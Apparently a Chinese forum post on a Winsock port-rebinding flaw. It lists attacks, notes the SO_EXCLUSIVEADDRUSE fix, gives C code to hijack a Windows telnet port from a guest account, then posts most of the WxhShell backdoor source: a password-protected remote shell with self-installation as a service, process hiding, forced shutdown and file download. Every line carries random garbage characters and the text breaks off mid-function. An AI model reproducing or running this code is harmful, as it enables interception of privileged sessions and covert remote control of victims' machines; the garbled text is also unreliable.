在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
m7T)m0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
a<]B B$~ 9n}p;3{f saddr.sin_family = AF_INET;
!|c|o*t{ QRLt9L saddr.sin_addr.s_addr = htonl(INADDR_ANY);
OT'[:|x ; bI|2@HV2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
dL|+d:v jY_T/233d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!%dN<%Ah o:V|:*1Q 这意味着什么?意味着可以进行如下的攻击:
r,_?F7 h$L"8# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
RmZ]"
` mDZ*E !B 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
tE7[Smzuf xeGb?DPu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
\c^45<G2qA y^o@"IYu3 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
v9T_& v@# b}N0n 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
[@4rjGwB HYmn:?H 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<V>dM4Mkr UwC=1g U 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
9P{;HusNw ?ve#} \ #include
-.{g}R% #include
NY?;erX #include
3P;>XGCxZ #include
dK>7fy;mv DWORD WINAPI ClientThread(LPVOID lpParam);
trE{ FT int main()
#pcP! {
:T9<der, WORD wVersionRequested;
%u;~kP|S% DWORD ret;
Pb*5eXk WSADATA wsaData;
GKcv<G208 BOOL val;
a'\o7_ SOCKADDR_IN saddr;
SM@QUAXO SOCKADDR_IN scaddr;
t|m=J`a{q; int err;
fA89|NTSUh SOCKET s;
|r bWYl.b SOCKET sc;
{/pm<k= int caddsize;
;NRF=d> HANDLE mt;
d|4}obCt DWORD tid;
`O'`eY1f wVersionRequested = MAKEWORD( 2, 2 );
4V~?. err = WSAStartup( wVersionRequested, &wsaData );
Y3O#Q)-j$ if ( err != 0 ) {
-kbg\,PW printf("error!WSAStartup failed!\n");
[LRLJ_~g5 return -1;
/a6Xa&(B }
'}Ri` saddr.sin_family = AF_INET;
S]E.KLR?[; I"KN"v^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+>4;Z d!@d } CfqG?) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
f|sFlUu& saddr.sin_port = htons(23);
<I"S#M7-s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
a@R]X5[O {
xZV1k~C printf("error!socket failed!\n");
VU@9@%TN return -1;
P\_` }
V <bd;m val = TRUE;
Q?X>E3=U //SO_REUSEADDR选项就是可以实现端口重绑定的
@$T 9Ll if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
*&f$K1p {
D.mHIsX6\ printf("error!setsockopt failed!\n");
/JT#^Y return -1;
a. z;t8 }
@/k@WhFZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5ms""LD/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
@Pt="*g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
GH[wv< ~}<DG1! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
hqRw^2F {
6"}?.E$ ret=GetLastError();
}3?n~s\)6f printf("error!bind failed!\n");
@lvyDu6e return -1;
%RDI!e<e} }
Qca&E`~Q listen(s,2);
7NJhRz`_ while(1)
)&!&AlLn {
:kGU,>BN caddsize = sizeof(scaddr);
nR`ov1RH //接受连接请求
/d%=E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
B7!3-1<k> if(sc!=INVALID_SOCKET)
!o$!Fr c {
r\/+Oa' mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
M|Rb&6O if(mt==NULL)
F+u|HiYG {
,{c?ym w? printf("Thread Creat Failed!\n");
^_m9KA break;
YY!Rz[/ }
]KmO$4 }
"&3h2(#% CloseHandle(mt);
~
yX2\i" }
&?(?vDFfZ closesocket(s);
+>PX&F WSACleanup();
6:~v4W!k return 0;
rEF0oJ. }
*M"}z DWORD WINAPI ClientThread(LPVOID lpParam)
Y0X-Zqk' {
s~Te SOCKET ss = (SOCKET)lpParam;
/bVoErf SOCKET sc;
XcjRO#s\ unsigned char buf[4096];
4#lo$# SOCKADDR_IN saddr;
9yfJVg long num;
@mfEKU! DWORD val;
^f(@gS}? DWORD ret;
{E8~Z8tT //如果是隐藏端口应用的话,可以在此处加一些判断
^(FdXGs[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
v;ZA4c saddr.sin_family = AF_INET;
wH@Ns~[MA saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:eCU/BC4 saddr.sin_port = htons(23);
*IM;tD+7Q~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)>Yu!8i {
xKho1Z printf("error!socket failed!\n");
9B9(8PVG return -1;
*I0T{~ }
y_?Me] val = 100;
j?+X\PtQ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-jiG7OL {
OtNd,U.dE ret = GetLastError();
1 9CK+;b return -1;
n<u
$=H }
X)% A6M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[D4Es {
&mx)~J^m ret = GetLastError();
Dg?:/=,=9r return -1;
v'3J.?N }
v%iflCK if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
\:UIc*S {
@qYp>|AF printf("error!socket connect failed!\n");
Uw7h=UQh closesocket(sc);
~
(jKz}'~U closesocket(ss);
MpR2]k#n< return -1;
HKUn`ng }
&:`U&06q while(1)
(P:<t6;+ {
#n8IZ3+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$F5 b //如果是嗅探内容的话,可以再此处进行内容分析和记录
w}YlVete //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Nb'''W-iu num = recv(ss,buf,4096,0);
H|HYo\@F# if(num>0)
av|g}xnj send(sc,buf,num,0);
?snp8W-WB else if(num==0)
\}|o1Xh2 break;
Sxh]R+Xb num = recv(sc,buf,4096,0);
Iepsz if(num>0)
r<d_[?1N send(ss,buf,num,0);
jIyB else if(num==0)
~S,,w1` break;
#^ A* }
/PSd9N*=y closesocket(ss);
}|8_9Rx0* closesocket(sc);
cHk)i return 0 ;
~G6Ox)/ }
Vo'T!e- B 2|*JSU.I ~XmLX)vO/ ==========================================================
GVYkJ0, Yz+ZY 下边附上一个代码,,WXhSHELL
t!_<~
ElW~48 ==========================================================
1^}[&ar |$
lM#Ua #include "stdafx.h"
@X;!92i /k,-P #include <stdio.h>
>E{";C) #include <string.h>
DBr
ZzA #include <windows.h>
lSVp%0jR #include <winsock2.h>
yj.7'{mA #include <winsvc.h>
7E79-r&n #include <urlmon.h>
fy@<&U5rg %2{%Obp' #pragma comment (lib, "Ws2_32.lib")
|#cm`v #pragma comment (lib, "urlmon.lib")
^Xq 6: %UERc{~o*, #define MAX_USER 100 // 最大客户端连接数
e9U9Uu[ #define BUF_SOCK 200 // sock buffer
heC/\@B #define KEY_BUFF 255 // 输入 buffer
$m-2HhqZ (Hb:?( #define REBOOT 0 // 重启
9 %I?).5 #define SHUTDOWN 1 // 关机
r
w2arx GkTiDm? #define DEF_PORT 5000 // 监听端口
CU@Rob} s ?FpWvyz| #define REG_LEN 16 // 注册表键长度
.ufTQ?Fe #define SVC_LEN 80 // NT服务名长度
]rH\`0 9Hb6nm // 从dll定义API
'R'*kxf typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
L"1}V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
/)}q Xx& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
($; 77fPR typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`-J%pEIza TE7nJ gm // wxhshell配置信息
L>aLqQ3 struct WSCFG {
_4U5 int ws_port; // 监听端口
?kH8Lw~{5W char ws_passstr[REG_LEN]; // 口令
DpvI[r//'* int ws_autoins; // 安装标记, 1=yes 0=no
L(|N[# char ws_regname[REG_LEN]; // 注册表键名
c]n1':FT" char ws_svcname[REG_LEN]; // 服务名
1Vrh4g.l char ws_svcdisp[SVC_LEN]; // 服务显示名
QLvHQtzwX char ws_svcdesc[SVC_LEN]; // 服务描述信息
J$GUB3
G char ws_passmsg[SVC_LEN]; // 密码输入提示信息
qzKdQ&vO int ws_downexe; // 下载执行标记, 1=yes 0=no
2db3I:;E char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
)f[
B6Y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
= C8 ?M SwTL|+u };
}J:U=HJ ,*&:2o_r // default Wxhshell configuration
8"2=U6*C struct WSCFG wscfg={DEF_PORT,
Mb|a+,:>3 "xuhuanlingzhe",
9.gXzPH 1,
-$cmG4 "Wxhshell",
=JK@z "Wxhshell",
%,}A@H, "WxhShell Service",
8QLj[" "Wrsky Windows CmdShell Service",
C'.L20qW "Please Input Your Password: ",
Bn#?zI 1,
*
KDI}B> "
http://www.wrsky.com/wxhshell.exe",
Oj3.q#)`Z "Wxhshell.exe"
~=6xyc/c };
CYs,` fzb29 - // 消息定义模块
93("oBd[s( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
[65`$x- char *msg_ws_prompt="\n\r? for help\n\r#>";
p.v0D:@& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Q kEvw< char *msg_ws_ext="\n\rExit.";
`1$@|FgyC char *msg_ws_end="\n\rQuit.";
mS$j?>m char *msg_ws_boot="\n\rReboot...";
tl,.fjZn char *msg_ws_poff="\n\rShutdown...";
A@1W}8qY: char *msg_ws_down="\n\rSave to ";
bLij7K2H Z<1FSk,[ char *msg_ws_err="\n\rErr!";
"U>JM@0DNm char *msg_ws_ok="\n\rOK!";
0WZ_7C? -Ta9 pxZk char ExeFile[MAX_PATH];
Xqg@ e:g int nUser = 0;
Ce9|=Jx! HANDLE handles[MAX_USER];
"GMBjT8 int OsIsNt;
}Gz~nf% B}Z63|/N SERVICE_STATUS serviceStatus;
A}G7l?V& SERVICE_STATUS_HANDLE hServiceStatusHandle;
/YW>*?"N CrC^1K // 函数声明
:dl]h&C^ int Install(void);
C*)3e*T* int Uninstall(void);
GP!?^r:en int DownloadFile(char *sURL, SOCKET wsh);
|[<_GQl int Boot(int flag);
U@_dm/;0& void HideProc(void);
,Ys %:>? int GetOsVer(void);
ZRh~`yy int Wxhshell(SOCKET wsl);
eL10Q(;P` void TalkWithClient(void *cs);
3G,Oba[$< int CmdShell(SOCKET sock);
Bu<M\w?7Y int StartFromService(void);
;4R$g5-4X int StartWxhshell(LPSTR lpCmdLine);
wSzv|\
G "pi=$/RD9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
X$
0?j1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
u]<,, ,<n}W+3 // 数据结构和表定义
@r/#-?W SERVICE_TABLE_ENTRY DispatchTable[] =
:)wy.r;N {
ieDk ; {wscfg.ws_svcname, NTServiceMain},
\r;#g{
_ {NULL, NULL}
|oH,
};
J*yf2&lI5 N..yQ-6x? // 自我安装
]i&6c int Install(void)
dt \TQJc~ {
twL3\
}N/B char svExeFile[MAX_PATH];
fxgPhnaC> HKEY key;
YSr9VpqWV strcpy(svExeFile,ExeFile);
Xb:;</ c]x1HvPE // 如果是win9x系统,修改注册表设为自启动
jSD#X3qp if(!OsIsNt) {
f=(?JT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q@QksAq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B6u/mo< RegCloseKey(key);
1->dMm}G[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jqWu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\f]k CB RegCloseKey(key);
<C1H36p return 0;
C]O(T2l{l }
>BR(Wd. }
oX#Q<2z* }
`slL%j^" else {
Y l4^AR& R0P
iv: // 如果是NT以上系统,安装为系统服务
nOt&pq7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"9ZID-~] if (schSCManager!=0)
N=4G=0 `ke {
MW! srTQ_ SC_HANDLE schService = CreateService
7L`A{L (
y?[ v=j*U schSCManager,
Pu7_
v wscfg.ws_svcname,
F3N?Nk/ wscfg.ws_svcdisp,
4,bv)Im+ ` SERVICE_ALL_ACCESS,
^ZvWR% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
sv: 9clJ SERVICE_AUTO_START,
nno}e/zqf SERVICE_ERROR_NORMAL,
hv`~?n)D66 svExeFile,
&vo--V1| NULL,
9v;Vv0k_ NULL,
Od)Uv1 NULL,
H{@Yo\J NULL,
#o=y?( NULL
b(*!$EB );
?x$"+, if (schService!=0)
a=1NED' {
}\z.)B4, CloseServiceHandle(schService);
RJL2J]*S CloseServiceHandle(schSCManager);
T}Km?d strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
X\]L=>]C strcat(svExeFile,wscfg.ws_svcname);
l Q'I if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Nh8Q b/:: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
NTdixfR RegCloseKey(key);
]mo-rhDsM return 0;
eK6hS_E }
Fz3fwLawI }
:Ux?, CloseServiceHandle(schSCManager);
Qiua }
V@B__`y7 }
-|J"s$yO4 WzPTFw[ return 1;
-MW_|MG }
%z/hf ~k\fhx // 自我卸载
;
o?-yI&T* int Uninstall(void)
=[H;orMr {
6TQoqH8@U HKEY key;
&R[ Mc-2 -d~4A
if(!OsIsNt) {
FK:;e
lZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
dU6ou'pf RegDeleteValue(key,wscfg.ws_regname);
Vu)4dD! RegCloseKey(key);
|*oZ_gI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
))R5(R RegDeleteValue(key,wscfg.ws_regname);
q+Lr"&'Q RegCloseKey(key);
)T/0S$@ return 0;
DNOueU }
f1`gdQ)H }
SFB~
->db }
hU(umL< else {
:V1W/c "8c@sHk(w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"w^!/ if (schSCManager!=0)
#D<C )Q {
bP8Sj16q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
nc~F_i= if (schService!=0)
s:OFVlC%\ {
1/RsptN"v if(DeleteService(schService)!=0) {
aK&b{d CloseServiceHandle(schService);
j K!Au CloseServiceHandle(schSCManager);
FemCLvu return 0;
PpGL/,]X }
;'?l$
._ CloseServiceHandle(schService);
G,$PV
e* }
z{[xze-f CloseServiceHandle(schSCManager);
W0(_~ }
<A[E:*`* }
~"!]
3C,L AuUde$l_ return 1;
Y,GU%[+ }
ks3`3q 7 TMAJb+@l: // 从指定url下载文件
" W!M[qBW int DownloadFile(char *sURL, SOCKET wsh)
Fw/6?:C}O6 {
FYOD
Upn HRESULT hr;
bBu,#Mc char seps[]= "/";
@PN#p"KaT char *token;
y)F;zW<+ char *file;
9:fOYT$8 char myURL[MAX_PATH];
B.wYHNNV char myFILE[MAX_PATH];
*meZ8DV2DH c;%_EN% strcpy(myURL,sURL);
`sUZuWL_ token=strtok(myURL,seps);
7Ilm{@b= while(token!=NULL)
N/]o4o {
;KOLNi-B& file=token;
RSr
%n1 token=strtok(NULL,seps);
I[=j&rK` }
l/BLUl~z Jpj}@, GetCurrentDirectory(MAX_PATH,myFILE);
b^ L
\>3 strcat(myFILE, "\\");
B||*.`3gN strcat(myFILE, file);
$.C=H[QC send(wsh,myFILE,strlen(myFILE),0);
:@kGAI send(wsh,"...",3,0);
{_b%/eR1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
mYxuA0/k if(hr==S_OK)
il}%7b- return 0;
<DMl<KZ else
vh"R'o return 1;
*Nw&_<\9Q /+8JCp
}
$iI]MV%= QBtnx[ // 系统电源模块
l=]cy-H int Boot(int flag)
aY3^C q(r {
1)9sf0LyU HANDLE hToken;
j;']cWe TOKEN_PRIVILEGES tkp;
2]I4M[|&z $9]m=S if(OsIsNt) {
{SwQ[$k=_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@'YS1 N< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@L>q(Kg tkp.PrivilegeCount = 1;
&/mA7Vf>eR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
nS/)P4z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
d1T,eJ} if(flag==REBOOT) {
xHoKo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
W [Of|? return 0;
/rg*p }
]NjX?XdX< else {
O>SLOWgha if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
x6(~;J return 0;
t]>Lh>G }
L/wD7/ODr }
e@c0WlWa else {
\x)n>{3C if(flag==REBOOT) {
:Mb%A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
M>DaQ`b return 0;
kz{/(t }
"Weg7mc# else {
+hvO^?4j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`1'6bp`Z return 0;
i\1TOP|h }
UH]l9Aq$P }
TS /.`.gT P6!jRC"52' return 1;
X'%E\/~u }
&L#UGp$, .zS?9MP // win9x进程隐藏模块
8*8Zc/{ void HideProc(void)
ki [UV
zd {
Fkvl%n 9v?N+Rb HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
LAVAFlK5 if ( hKernel != NULL )
;w:M`#2 {
Em?d*z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
JXCCTUO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
~3WM5 fv FreeLibrary(hKernel);
8dV=[+ }
/<E5"Mm% Ge,;8N88 return;
Xua+cVc\y }
lCAIK yMyE s 8 // 获取操作系统版本
7G.#O}).b int GetOsVer(void)
*&?c(JU;< {
HU%o6c w OSVERSIONINFO winfo;
K/A*<<r
~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
8d?g]DEN)6 GetVersionEx(&winfo);
"5;;)\o~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?z}=B return 1;
hZh9uI7. else
^[]}R: return 0;
#Xhdn\7 }
P/xKnm~ -`<kCW" // 客户端句柄模块
hc~s"Atck int Wxhshell(SOCKET wsl)
w:s]$:MA8 {
G:<`moKgL SOCKET wsh;
io,M{Ib struct sockaddr_in client;
i-bJS6 DWORD myID;
wB.Nn/p K)qF+Vb^j while(nUser<MAX_USER)
m<{<s T {
.jS~By|r int nSize=sizeof(client);
#k_HN}B wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$Z|ffc1 if(wsh==INVALID_SOCKET) return 1;
F_Y7@Ei/ hQ]H
/+\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
JAAI_gSR3 if(handles[nUser]==0)
1"/He ` 4 closesocket(wsh);
yyv8gH else
I*x[:)X8 nUser++;
Jj,U RD&0R }
Gqcq,_?gt WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
!,[C]Q1 qtiz a~u return 0;
4!+pc-}- }
_/Gczy4)# V6t,BJjS // 关闭 socket
h.-@ F void CloseIt(SOCKET wsh)
~.A)bp {
5O~HWBX. closesocket(wsh);
Mr?Xp(.}G nUser--;
j6>.n49_ ExitThread(0);
.u:81I=w( }
r) $+ *NkA8PC // 客户端请求句柄
'rMN=1:iu" void TalkWithClient(void *cs)
M&NB/ {
<@}I0 f8M$45A' SOCKET wsh=(SOCKET)cs;
p!sWYui char pwd[SVC_LEN];
`!Ds6 char cmd[KEY_BUFF];
CamE' char chr[1];
1QmH{jM int i,j;
T.Ryy"%F U>V&-kxtV while (nUser < MAX_USER) {
>=UF-xk; w=LP"bqlI if(wscfg.ws_passstr) {
c6nflk.l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
tjGd ) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
OR}c)|1 //ZeroMemory(pwd,KEY_BUFF);
H|RT?Q i=0;
PZ{Dv'C while(i<SVC_LEN) {
KN7^:cC K$ M^gh0 // 设置超时
qw@puw@D fd_set FdRead;
UNPezHaz struct timeval TimeOut;
2zVJ vn7 FD_ZERO(&FdRead);
1AG=%F|. FD_SET(wsh,&FdRead);
`}BF${vF TimeOut.tv_sec=8;
AZa6Cw TimeOut.tv_usec=0;
F%i^XA]a* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|tv"B@` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
mN!lo;m5 @O@GRq&V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
z "+Mrew pwd
=chr[0]; ]wKz E4Z/
if(chr[0]==0xd || chr[0]==0xa) { "I=\[l8t
pwd=0; t5'V6nv
break; Nluv/?<
} Pcu#lWC$
i++; $aN-Y?U%
} v2H#=E4cZ#
TF 'U
// 如果是非法用户,关闭 socket <$ F\Nk|x
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yY[<0|o u
} JJ{9U(`_y6
(FJ9-K0b{n
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L=q+|j1>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p98~&\QT
4hAl-8~Q6
while(1) { O!Oumw,$
:um|nRwy9
ZeroMemory(cmd,KEY_BUFF); X{we/'>
6B@CurgB
// 自动支持客户端 telnet标准 YO}1(m
j=0; PH>
b-n
while(j<KEY_BUFF) { Zs}5Smjl;%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SB5&A_tr
cmd[j]=chr[0]; td4[[ /
if(chr[0]==0xa || chr[0]==0xd) { abJ"
[
cmd[j]=0; AJSx%?h:6
break; qTAc[Ko
} HsnLm67'
j++; br0++}vwL
} 7\f\!e <
{dL?rQ>5L
// 下载文件 94 e):
jS
if(strstr(cmd,"http://")) { ;x:rZV/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;=<-5;rI
if(DownloadFile(cmd,wsh)) [8Qro8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TQ{Han!
else }|5VRJA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -T&.kYqnb$
} e.@uhB.
else { `.T}=j|
8me ]JRw
switch(cmd[0]) { $&<uT
j'aHF#_
// 帮助 LwhyE:1
case '?': { )13dn]o=2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DK=cVpN%s
break; .\8X[%K9nc
} y_HN6
// 安装 T"&)&"W*U
case 'i': { /Nr*`l
if(Install()) >~`r:0',
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I
j$lDJS
else ?W0)nQU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^':!1
break; >IX/<
{);M
} )r[&RGz6
// 卸载 !!4Qj
case 'r': { V^hE}`>z&
if(Uninstall()) E[O<S B
I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n @?4b8"
else _:X|.W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t9Y=m6
break; cwm_nQKk
} Vpr/
// 显示 wxhshell 所在路径 z81esXl
case 'p': { fx@j?*Qb
char svExeFile[MAX_PATH]; p_UlK8rb
strcpy(svExeFile,"\n\r"); @&]#uRl|[
strcat(svExeFile,ExeFile); m85WA
#
`
send(wsh,svExeFile,strlen(svExeFile),0); ?x+Z)`w_
break; &z]K\-xp
} lip[n;Ir>
// 重启 8[|UgI,>z
case 'b': { 4n
%?YQ[t
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kKPi:G52F
if(Boot(REBOOT)) u(OW gbA3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eL4NB$Fb
else { "wlt> SU
closesocket(wsh); jS;J:$>^
ExitThread(0); }?&k a$rI
} Y!WG)u5
break; ]$p{I)d&
} P7
PB t
// 关机 OiAJ[L
case 'd': { ?-tVSRKQ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M:P0m6ie
if(Boot(SHUTDOWN)) R(-<BtM!-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }BiiE%a
else { Ja SI^go
closesocket(wsh); Ug:\
ExitThread(0); 'S2bp4G
} K"uNxZ
break; u7xDau(c
} A].>.AI
// 获取shell `;YU.*
case 's': { 50
A^bbid
CmdShell(wsh); T \CCF
closesocket(wsh); >Bs#Xb_B]
ExitThread(0); %lX%8Z$v
break; k"g._|G
} -QyhwG=
// 退出 CiR%Ujf
case 'x': { U `o^mtW.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LGc&o]k
CloseIt(wsh); ~>0qZ{3J_
break; Hg9CZMko
} h(qQsxIOhS
// 离开 pDQ}*
case 'q': { lc_E!"1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); EwS!]h?
closesocket(wsh); e(NLX`
WSACleanup(); /t6X(*xoy
exit(1); /XudV2P-CA
break; y7S4d~&
} wnTV|^Q
} lNv".Y=l
} $7QoMV 8V
=?h~.lo
// 提示信息 7 Sa1;%R
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }|B=h
} 2"fO6!hh
} ^'p|!`:
kQaSbpNmH
return; Mc-)OtmG[
} 15$4&=O
P/JK $nb
// shell模块句柄 T6pLoaKu
int CmdShell(SOCKET sock) *jMk/9oa<N
{ D0mI09=GtQ
STARTUPINFO si; v`V7OD#:j]
ZeroMemory(&si,sizeof(si)); l;sy0S"DO]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bm\qxQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;.wX@
PROCESS_INFORMATION ProcessInfo; QRLJ_W^&u
char cmdline[]="cmd"; )RYG%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bS
>0DU
return 0; 5'w^@Rs5
} /%4_-C pm
c9j*n;Q
// 自身启动模式 N~g:Wf!
int StartFromService(void) BZb]SoAL
{ {k5X*W
typedef struct f'q 28lVf
{ [+w3J#K
DWORD ExitStatus; [ BT)l]
DWORD PebBaseAddress; PY3ps2^K.
DWORD AffinityMask; {B*W\[ns
DWORD BasePriority; 0F#>CmD
